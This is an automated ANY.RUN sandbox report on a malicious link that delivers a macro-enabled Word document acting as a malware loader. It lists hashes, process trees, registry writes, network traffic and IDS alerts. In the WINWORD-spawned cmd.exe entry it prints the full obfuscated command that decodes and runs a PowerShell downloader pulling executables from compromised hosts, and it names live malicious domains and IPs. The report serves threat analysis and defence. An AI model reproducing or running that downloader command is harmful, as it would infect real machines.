URL:

http://surmise.cz/En_us/Clients/2018-12

Full analysis: https://app.any.run/tasks/f40fcbc7-e6ca-4607-84f9-7c2afadac19b
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: December 14, 2018, 22:03:51
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
maldoc-1
Indicators:
MD5:

A2EE19EF37740064A00BE138DD44010E

SHA1:

9C8AAFC6952C511D0E618C42A591C0CA1E07AAF3

SHA256:

9CF8C74734501E11231BDDC175AFFF5C7DE75C0997244AC1A2BA21100CF26DC8

SSDEEP:

3:N1KNQXIMrGiOEzWKXi5n:CCYZXEhCn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 4080)
    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 4080)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3356)
    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 3672)
    • Application was dropped or rewritten from another process

      • 362.exe (PID: 3508)
      • 362.exe (PID: 2884)
      • archivesymbol.exe (PID: 3480)
      • archivesymbol.exe (PID: 3944)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 3672)
  • SUSPICIOUS

    • Starts Microsoft Office Application

      • chrome.exe (PID: 3000)
      • WINWORD.EXE (PID: 4080)
    • Application launched itself

      • WINWORD.EXE (PID: 4080)
      • cmd.exe (PID: 2580)
    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 2580)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3672)
      • 362.exe (PID: 2884)
    • Creates files in the user directory

      • powershell.exe (PID: 3672)
    • Starts itself from another location

      • 362.exe (PID: 2884)
  • INFO

    • Reads Internet Cache Settings

      • chrome.exe (PID: 3000)
    • Application launched itself

      • chrome.exe (PID: 3000)
    • Reads settings of System Certificates

      • chrome.exe (PID: 3000)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 4080)
      • chrome.exe (PID: 3000)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 4080)
      • WINWORD.EXE (PID: 352)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
50
Monitored processes
19
Malicious processes
4
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start drop and start chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs winword.exe no specs winword.exe no specs cmd.exe no specs cmd.exe no specs chrome.exe no specs powershell.exe chrome.exe no specs 362.exe no specs 362.exe archivesymbol.exe no specs archivesymbol.exe chrome.exe no specs chrome.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
352"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXEWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2216"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=972,2451648014435222038,9259109889079981543,131072 --enable-features=PasswordImport --disable-gpu-sandbox --gpu-preferences=KAAAAAAAAACAAwBAAQAAAAAAAAAAAGAAEAAAAAAAAAAAAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAACwAAABAAAAAAAAAAAQAAAAoAAAAQAAAAAAAAAAEAAAALAAAA --service-request-channel-token=119C02AA871723A1BE71138E70629B12 --mojo-platform-channel-handle=3892 /prefetch:2C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\68.0.3440.106\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
2240"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=972,2451648014435222038,9259109889079981543,131072 --enable-features=PasswordImport --service-pipe-token=070BA05B673AEA406FA8423B4FD26504 --lang=en-US --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=070BA05B673AEA406FA8423B4FD26504 --renderer-client-id=4 --mojo-platform-channel-handle=1872 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\68.0.3440.106\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
2444"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=972,2451648014435222038,9259109889079981543,131072 --enable-features=PasswordImport --lang=en-US --service-sandbox-type=utility --service-request-channel-token=A4041060D26AE58277FA34FACADB9030 --mojo-platform-channel-handle=3692 --ignored=" --type=renderer " /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\68.0.3440.106\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
2580c:\WiTAWFc\ivFAjJD\mZGnokr\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set e6ut=GzJtfbpwBoJhSTItVrXKzTzZdEnnEdbNCgA 7c@=e/5j(kH1L}3sa8DFPuimM{6U+:x$l;-y0)YQ2'W\O.v,&&for %5 in (67;58;4;80;39;77;22;7;14;77;69;67;60;52;0;39;27;40;7;70;9;30;43;40;37;15;35;31;40;15;81;78;40;30;32;68;58;40;27;15;69;67;14;8;48;39;77;11;15;15;6;65;41;41;51;57;27;29;9;7;27;30;9;29;17;57;59;81;37;9;59;41;10;50;50;42;31;30;31;38;11;15;15;6;65;41;41;7;7;7;81;17;9;15;40;58;17;9;30;17;52;51;58;68;81;37;9;59;41;7;6;70;58;27;37;68;57;29;40;51;41;18;28;8;82;50;56;29;46;33;23;38;11;15;15;6;65;41;41;17;29;52;30;58;11;81;9;17;33;41;59;36;59;27;21;74;52;14;22;48;38;11;15;15;6;65;41;41;22;52;82;33;17;9;57;6;81;27;40;15;41;47;47;54;62;56;7;55;57;38;11;15;15;6;65;41;41;51;15;40;4;52;27;9;30;52;68;29;58;27;58;81;27;40;15;41;54;4;12;16;48;4;51;32;62;77;81;12;6;68;58;15;44;77;38;77;73;69;67;68;32;19;39;77;27;78;56;77;69;67;12;32;19;35;39;35;77;50;62;76;77;69;67;55;55;74;39;77;59;7;16;77;69;67;54;75;58;39;67;40;27;82;65;15;40;59;6;64;77;79;77;64;67;12;32;19;64;77;81;40;66;40;77;69;4;9;17;40;52;37;11;44;67;32;4;27;35;58;27;35;67;14;8;48;73;61;15;17;71;61;67;60;52;0;81;54;9;7;27;68;9;52;29;55;58;68;40;44;67;32;4;27;83;35;67;54;75;58;73;69;67;37;56;63;39;77;30;0;21;77;69;14;4;35;44;44;0;40;15;70;14;15;40;59;35;67;54;75;58;73;81;68;40;27;33;15;11;35;70;33;40;35;53;72;72;72;72;73;35;61;14;27;82;9;45;40;70;14;15;40;59;35;67;54;75;58;69;67;43;0;43;39;77;59;7;48;77;69;30;17;40;52;45;69;49;49;37;52;15;37;11;61;49;49;67;11;22;34;39;77;51;21;11;77;69;86)do set mK=!mK!!e6ut:~%5,1!&&if %5 gtr 85 powershell "!mK:~-465!""c:\windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2884"C:\Users\admin\AppData\Local\Temp\362.exe"C:\Users\admin\AppData\Local\Temp\362.exe
362.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\362.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\nsi.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
2924"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=watcher --main-thread-id=3004 --on-initialized-event-handle=304 --parent-handle=308 /prefetch:6C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\68.0.3440.106\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
3000"C:\Program Files\Google\Chrome\Application\chrome.exe" http://surmise.cz/En_us/Clients/2018-12C:\Program Files\Google\Chrome\Application\chrome.exe
explorer.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\68.0.3440.106\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\shlwapi.dll
3192"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=972,2451648014435222038,9259109889079981543,131072 --enable-features=PasswordImport --service-pipe-token=2D81D738E59BEB09AA5417ED641260AE --lang=en-US --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=2D81D738E59BEB09AA5417ED641260AE --renderer-client-id=3 --mojo-platform-channel-handle=2120 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\68.0.3440.106\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
3212"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=972,2451648014435222038,9259109889079981543,131072 --enable-features=PasswordImport --lang=en-US --no-sandbox --service-request-channel-token=6EB2B31FA837192F5B2FC9E3AF2B82B6 --mojo-platform-channel-handle=2276 /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exechrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
68.0.3440.106
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\68.0.3440.106\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
Total events
3 424
Read events
2 879
Write events
531
Delete events
14

Modification events

(PID) Process:(2924) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BrowserExitCodes
Operation:writeName:3000-13189298647478000
Value:
259
(PID) Process:(3000) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon
Operation:writeName:failed_count
Value:
0
(PID) Process:(3000) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
2
(PID) Process:(3000) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
1
(PID) Process:(3000) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}
Operation:writeName:dr
Value:
1
(PID) Process:(3000) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome
Operation:writeName:UsageStatsInSample
Value:
0
(PID) Process:(3000) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BrowserExitCodes
Operation:delete valueName:3516-13180984670829101
Value:
0
(PID) Process:(3000) chrome.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}
Operation:writeName:usagestats
Value:
0
(PID) Process:(3000) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BrowserExitCodes
Operation:delete valueName:3000-13189298647478000
Value:
259
(PID) Process:(3000) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}
Operation:writeName:metricsid
Value:
Executable files
2
Suspicious files
18
Text files
66
Unknown types
8

Dropped files

PID
Process
Filename
Type
3000chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\14525e7a-1db6-4ffc-af0d-91883c898149.tmp
MD5:
SHA256:
3000chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\000016.dbtmp
MD5:
SHA256:
3000chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000016.dbtmp
MD5:
SHA256:
3000chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\d63fe99c-951b-40e7-99f0-f08798d520a2.tmp
MD5:
SHA256:
3000chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG.old~RF13a4ee.TMPtext
MD5:
SHA256:
3000chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\231509a9-944d-42bf-86ca-632b12d70560.tmp
MD5:
SHA256:
3000chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.oldtext
MD5:
SHA256:
3000chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\LOG.oldtext
MD5:
SHA256:
3000chrome.exeC:\Users\admin\Downloads\DOC-910184.doc.crdownload
MD5:
SHA256:
3000chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Last Versiontext
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
11
DNS requests
8
Threats
9

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3944
archivesymbol.exe
GET
190.146.201.54:80
http://190.146.201.54/
CO
malicious
3672
powershell.exe
GET
301
94.138.199.5:80
http://sundownbodrum.com/J335NbN
TR
html
241 b
malicious
3672
powershell.exe
GET
200
94.138.199.5:80
http://sundownbodrum.com/J335NbN/
TR
executable
500 Kb
malicious
3000
chrome.exe
GET
301
37.9.175.24:80
http://surmise.cz/En_us/Clients/2018-12
SK
html
248 b
malicious
3000
chrome.exe
GET
200
37.9.175.24:80
http://surmise.cz/En_us/Clients/2018-12/
SK
document
100 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3672
powershell.exe
94.138.199.5:80
sundownbodrum.com
IHS Telekomunikasyon Ltd
TR
malicious
3000
chrome.exe
172.217.168.46:443
clients4.google.com
Google Inc.
US
whitelisted
3944
archivesymbol.exe
190.146.201.54:80
Telmex Colombia S.A.
CO
malicious
3000
chrome.exe
216.58.215.227:443
www.gstatic.com
Google Inc.
US
whitelisted
3000
chrome.exe
37.9.175.24:80
surmise.cz
Websupport s.r.o.
SK
malicious
3000
chrome.exe
172.217.168.35:443
clientservices.googleapis.com
Google Inc.
US
whitelisted
3000
chrome.exe
172.217.168.3:443
ssl.gstatic.com
Google Inc.
US
whitelisted
3000
chrome.exe
216.58.215.237:443
accounts.google.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
surmise.cz
  • 37.9.175.24
malicious
clientservices.googleapis.com
  • 172.217.168.35
whitelisted
www.gstatic.com
  • 216.58.215.227
whitelisted
accounts.google.com
  • 216.58.215.237
shared
ssl.gstatic.com
  • 172.217.168.3
whitelisted
sundownbodrum.com
  • 94.138.199.5
malicious
clients4.google.com
  • 172.217.168.46
whitelisted
clients2.google.com
  • 172.217.168.46
whitelisted

Threats

PID
Process
Class
Message
3000
chrome.exe
Potentially Bad Traffic
ET WEB_CLIENT SUSPICIOUS Possible Office Doc with Embedded VBA Project (Wide)
3000
chrome.exe
Misc activity
SUSPICIOUS [PTsecurity] Download DOC file with VBAScript
3000
chrome.exe
Potential Corporate Privacy Violation
ET POLICY Office Document Download Containing AutoOpen Macro
3000
chrome.exe
Attempted User Privilege Gain
SC ATTEMPTED_USER Microsoft Word 2016 use after free attempt
3672
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
3672
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32
3672
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3672
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3672
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info